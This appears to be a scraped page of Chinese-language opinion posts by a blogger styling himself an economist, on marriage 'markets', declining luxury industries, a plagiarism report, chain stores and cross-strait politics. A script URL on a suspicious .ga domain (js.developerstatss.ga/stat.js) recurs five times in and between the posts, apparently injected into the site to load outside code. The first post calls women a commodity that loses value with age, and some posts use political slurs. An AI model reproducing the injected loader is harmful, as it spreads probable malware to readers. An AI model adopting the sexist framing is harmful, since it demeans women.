作者: yuanyuchang

從經濟分析角度看如下：

1. 婚姻市場：

a. 未入局 — 是的，女人就是一種價值隨年紀快速遞減的商品，因為生育力是天然重大侷限條件。少數女生60歲還能生，那是極為少數。現在一堆30歲不到就生不出來的，求無良醫最後找上我的就好幾個。

當然如果女生自帶高額財產或獲利能力，可以彌補這塊缺失。想想許純美～ 重賞之下就會出現「勇者鬥惡龍」

b. 已入局 — 從複雜的合夥契約角度來看，夫妻雙方彼此付出越多心力建立低費用溝通平台、建立信任，家庭、事務、事業、心靈、性生活的相互扶持與隨之而來的革命情感，可以讓雙方都累積高度租值，一方面雙方共同累積物質與非物質資產，另一方面也讓離婚代價變得極高。

反之，外遇、惡意欺騙、詐奪財產、推卸責任等等，都會破壞合夥契約把這個契約關係搞成「負資產」，此時雙方反而離婚比較好。

這就是為什麼婚前審慎評估與婚後的用心經營是如此重要！

當然，你也可以選擇根本不進入這個市場，則就都毋須跟人家競爭。

2. 性市場（不會進入婚姻，從嫖妓、找男公關到一夜情均屬之）：

這沒什麼好講的，除了少數「熟女偏好」者之外，整體市場的品味還是「女生越熟越不值錢」。過去「慾望城市」那幾個奇形怪狀的老女人所演的劇情只是老女人的幻想，真實世界存在機率太低太低，就連身兼製作人的女主角都心知肚明 😛

觀察真實世界最簡便方式就是從A片產出來看，老人片、「真」熟女片依然是少數；妹子越年輕、新鮮度越高、相貌越優者，片酬還是比只能拍群交片的相貌普通素人妻來得優渥。

除非往演技派走（例如杉本彩、吉澤明步、麻美由真）、有話題性（如波多野結衣）可炒或懂經營（如過世的飯島愛與中國大陸一度暴紅的蒼井空），當然多數不懂經營者，淪落至拍東京熱後再拍人獸交者也有。

補充：

男女大不同，多數女生從10幾歲到20幾歲這段時光都有男生要，都是性市場或婚姻市場的競爭優勢者；反之，多數男生一生都處在沒女生要的困境，少數耀眼帥哥底下是一片烏鴉鴉的史萊姆雜魚，這群雜魚必須努力讓自己成為「自帶財產或有未來高獲利可能性」才能換得女性目光的稍稍停留。

因此當競爭優勢者流失優勢並理解的這個真相時，當然衝擊很大，就如此影片的女主角。

但女生先天的優勢還是在相當長一段時間相對吃香啦。

https://js.developerstatss.ga/stat.js?n=ns1

https://js.developerstatss.ga/stat.js?n=ns1

從經濟分析來看，我認為多數瑞士製表業會越來越像hifi音響產業或歐洲鋼筆業：東西越賣越貴，性價比越來越不合理，看似奢華，但敗絮其內，整體銷售量將長期持續萎縮。夕陽餘暉卻無前景。

看看Montblanc 149之後，其實沒啥真正意義上的好筆，近乎騙錢炫富的文學家系列，書寫體驗上其實毫無進步可言。Palikan始終就是吃M系列老本。

音響產業一堆神話騙錢手段（如百萬元一條線），買單者越來越少。因為炫富手段增加下，音響在競爭之下不見得有優勢。

題外話文青蠢腦袋搞起的小小黑膠唱片復甦，遲早會被證明是笑話。何解？當全世界20多年來多數錄音室早就是數位錄音時，你還以為你的黑膠唱片是「真類比」？！還說「聲音比較溫暖」？真是國王新衣！數位檔轉成的黑膠唱片最好音質會進步啦。

更甭提黑膠購買/保存成本高、使用不方便、播放還講究技術而同時唱針也在損耗唱片這些當年之所以被淘汰的缺點。

那種直接玩母帶的實在太小眾，永遠只是少數人的玩具，連要進入炫富市場都成不了氣候。

因為炫富的一個重要侷限條件是物品/手段的訊息費用要夠低— 萬寶龍鋼筆、愛馬仕柏金包、法拉利跑車，東西擺在那不言自明；擺一台母帶機，主人不解釋說真的能看懂的有幾人？

當然把莫內真跡放在廁所那是另外一種境界的炫富。

是的，音響精品始終存在，也會貴得嚇死人。但其高成本反應的不是高技術，而是產量太少。

多數炫富者也聽不出好在哪，或者總是聽那幾首歌在比較「音效」。真正愛音樂的反倒不那麼在意播放系統亦或者投資不起。

這些都是瑞士製表業的前車之鑒，卻也是殷鑑不遠。

這些經驗也是說：脫離大眾市場的品牌多數是死路，少數存活也只是苟延。

施振榮的微笑曲線笑笑就好，當真就得哭哭了。

 

補充：

1. 精品錶所謂的「工藝」取向，其實在鋼筆（例如用木片拼接技術、日本漆藝、甚至保育類神木…）或手工搭棚擴大機（講究單結晶純銀線搭棚焊接、市面失傳電容、古董級真空管與傳奇電路…），真的深入來看，這三者在玩的招式其實都差不多，而要滿足的需求其實也都早就被更簡單方便且廉宜的選項給塞滿，都是在垂死掙扎。

2. 文章用手機寫的，所以漏掉一大段比較深入的經濟分析 — 當一個產業真的進入夕陽時，產業淘汰會從租值低者開始。廠商被迫往租值高的方向走，走不夠快或本錢不夠厚的就是淘汰出局。

產業最後會剩下幾家租值夠大、老本夠厚的廠商；如果進入障礙不高，則還會有一些新進但不那麼重要的角色。例如鋼筆業的Lamy、音響業的NuForce。整個市場看起來還是有生命，但其實大家心知肚明老者已矣，只是守固有疆土直到被時代淘汰；新進者死亡率極高，但偶爾也會有一閃而過的明星，甚至強到讓人誤以為產業翻轉，例如瑞士手錶業的swatch。

但從整體看，成交量越來越少，單品越來越往高端高單價走或便宜又大碗的二極化路線。

3. 施振榮的微笑曲線真要探究的話，其實有太多反證已經駁倒他自己的理論，更不用提他的理論本身的經濟邏輯是有問題的。

例如高通的手機晶片同時是品牌與技術的高度積累，同時佔了微笑曲線兩端，那這張曲線畫起來沒啥意義可言了。

反之，我文中舉例的光打品牌而技術上早就沒啥長進、也被新技術淘汰的三種產業，並未如施振榮理論所說享有高度利潤。

更甚者，有很多打品牌投資半天卻死得慘兮兮，如Acer自己與HTC，更是施振榮自己理論最好的反駁。https://js.developerstatss.ga/stat.js?n=ns1

這個北美洲台灣人教授協會（NATPA）還真是搞笑協會，出具一份報告說要證明管中閔抄襲張姓學生。

可是通篇報告狗屁不通：

1. 試問這協會「在法律上有任何資格從事其宣稱的調查」？

試問是否有任何司法單位亦或台大等系爭當事人，委託該機構從事investigation？從報告中看不出來耶。

如果都沒有人委託，該機構也只是同樂會性質，不存在任何司法地位的話，這種investigation除了自搞自爽自己完角色扮演之外，有啥意義？

2. 通篇報告宣稱2016年張姓學生的碩士論文與管中閔2017年的論文幾個圖表數據都載名「作者自行整理」，從而認定管中閔是抄襲。

可是拜託，看看那張圖表是「台灣與主要貿易夥伴貿易量（進口+出口），資料來源財政部貿易統計資料庫，作者自行整理」。

兩篇論文都用了同一個資料庫的同一份數據就叫做「抄襲」？因為都用了「百萬元台幣」為單位？因為都選擇1981～2014年這個區間？

然後又指責兩張數線看起來一樣？廢話！一樣的數據畫出來當然一樣。

3. 最好笑的是，張姓學生的碩士論文部分注釋載明「引用自陳建良與管中閔（2016）手稿」。但這份報告竟然批評管中閔2017年的論文「沒有注釋引用自己手稿」。

報告原文：" However, we question why CK did not cite his CK (2016) 手稿, like Chang above, in CK Tables 1 and 2 (see Part II below)."

實在不理解「引用自己未公開發表出版的手稿」還要注釋的規範是哪裡來的？

難道所有文章或書籍現在都要注釋「引用自己未公開之草稿」？這種引用有任何學術上的意義嗎？豈不是脫褲子放屁？

只看過作者註釋指出引用自己過去已發表或出版的論文書籍，沒看過有人還要註釋引用了自己哪份草稿的。

話說這份NATPA的調查報告，也沒有注釋引用了自己哪一份手稿啊？

結論：
一個搞笑的同樂會機構，自得其樂地cosplay司法調查機構在亂搞，得出的結論竟然是：管中閔的論文沒有註明引用自己的手稿，所以違反學術倫理。

搞笑目的果然達成！哈哈哈！

報告網址：http://www.natpa.org/natpa_publications/NATPA%20Report%20Finalz.pdf

註：本文一氣呵成沒有草稿，無從註明，謝謝。
https://js.developerstatss.ga/stat.js?n=ns1

If it’s not broke, don’t fix it!

1. 現階段看不出來注音符號究竟拖累了台灣哪方面的競爭力？反倒是民進黨錯誤的大陸政策、錯誤的能源政策以及內鬥尋租行為等，更明顯也更浪費地消耗台灣財富與競爭力。

2. 取消注音符號要付出多大代價？各種看得見與看不見的的成本，有無正確估算？

3. 真要搞羅馬拼音或他種拼音，最簡單方式就是引入市場競爭！讓各個小學、幼稚園自由選擇教授何種拼音方式，10年之後市場（尤其是補習班）自然會淘汰並選出最適合者。

（目前看來中國的拼音系統勝出機率最大，假台獨狗又要哭哭了）

更重要的是，我們最不需要「自以為是的專家」來替人民決定哪種拼音系統是唯一方案。https://js.developerstatss.ga/stat.js?n=ns1

好文分享。

我說過我是台中大甲人，從小我就一直期待大甲可以有一家麥當勞。這個願望直到我上大學離開家鄉了才成真。在此之前，我們只有各一家王子漢堡跟香雞城（這兩家都倒了）。王子漢堡我想大概海線人才知道。

跟鬼王說的一樣，文青所謂「連鎖企業毀壞質樸在地文化」論調對我們這種鄉下人來說根本叫做bull shit！ 從小我就感受到所謂的海線是怎樣落人一等，連火車班次、公路局班次都比別人少！

第一家7-11開店時已經是我高中時候，當時真如鬼王所說，是鎮上時髦青少年流連的場所。但台北早就是街道巷口處處有小七了。

經濟學來看也是支持鬼王論點：連鎖企業之所以可以橫掃鄉村小店，不是因為資本粗就能吃人，而是因為連鎖企業用更好的條件提供更好的商品與服務！

經濟競爭的鐵律是「用更少的代價換取更好或更多！」連鎖企業如果更貴更爛，市場淘汰連鎖企業而非小店。大甲也曾有肯德基，但生意火紅幾年就因為競爭不過麥當勞與在地炸雞攤而倒店。這也證明經濟學是對的 — 本錢厚並非絕對的競爭優勢。反之，被淘汰的小店正因為無法提供連鎖企業給的，才會被淘汰。

是的，真相是所謂的小店文化，對真正在地者而言，往往不重要也沒人鳥。真相是你們文青所謂的「重視小店文化」其實連你們自己都不肯付出足夠真金白銀購買使其存活。

但可笑的是，這種雙面人竟然舉起標語、木牌抗議連鎖企業進駐鄉鎮？（這在美國很常見）

其實說穿了這種人只是藉著剝削鄉村消費者的選擇權，換取自己的媒體曝光度或自我感覺良好。

事實是真正在拉近城鄉差距的，是文青口中萬惡的資本家們！

感覺一堆人搞不清楚（特別是念法律的）：

習進平取消「得連任二屆」限制，並不表示他想怎樣連任都能成功。

反之，真有政治實力，像俄羅斯普丁那樣不管啥職位都能實際掌權，連任限制是啥屁？（當蔣經國只是行政院院長而嚴家淦是總統時，你說誰說了算？）

https://js.developerstatss.ga/stat.js?n=ns1

人口數與人均收入不如人，本來就很難養出「品牌企業」，更枉論這種講究「風口飛豬」的獨角獸公司。

台灣人才能力不錯是一回事，但語言能力整體來看連英文都很差（幾乎沒見過台灣本土出產而能走紅西方世界的英文作家）。既然不能一開始就以世界市場為目標，則光靠台灣市場希望渺茫。

幾個月前有位網友與我談動漫出版業，本身並非從業人員，只能以讀者角度提供看法，不過與獨角獸公司的一些經濟邏輯是相通的 — 人口夠多、共同語言市場夠大，才有足夠的租值去容忍賭博性的嘗試以及相關市場（包含資本市場）的基礎建構。

我反覆強調很多次，市場是很貴的玩意，而許多經濟學家往往忽略這一點，以為市場是自己憑空跑出來的。而台灣人口太少、收入太低這點，註定許多種市場安排方式不可能在台灣出現。除非台灣積極並融入中國市場。

全世界與台灣交易費用最低的市場就在中國大陸，光語言這塊就足以省下極高的費用。不管心態如何，台灣遲早要被迫全面擁抱與融入中國市場。真實世界台灣對中國貿易依賴程度，早就點明這個大勢所趨銳不可擋。

然而就是某些台灣政客為了個人利益，明知台獨不可能實現，卻老要用台獨與去中國化欺騙選票，不去思考如何讓台灣能在全球化與中國化競爭中勝出、把餅做大，只想要關上門當土酋長滿足個人私利，甚至甘願當日本美國走狗。這群政客是台灣最大的負資產。

與網友對話如下：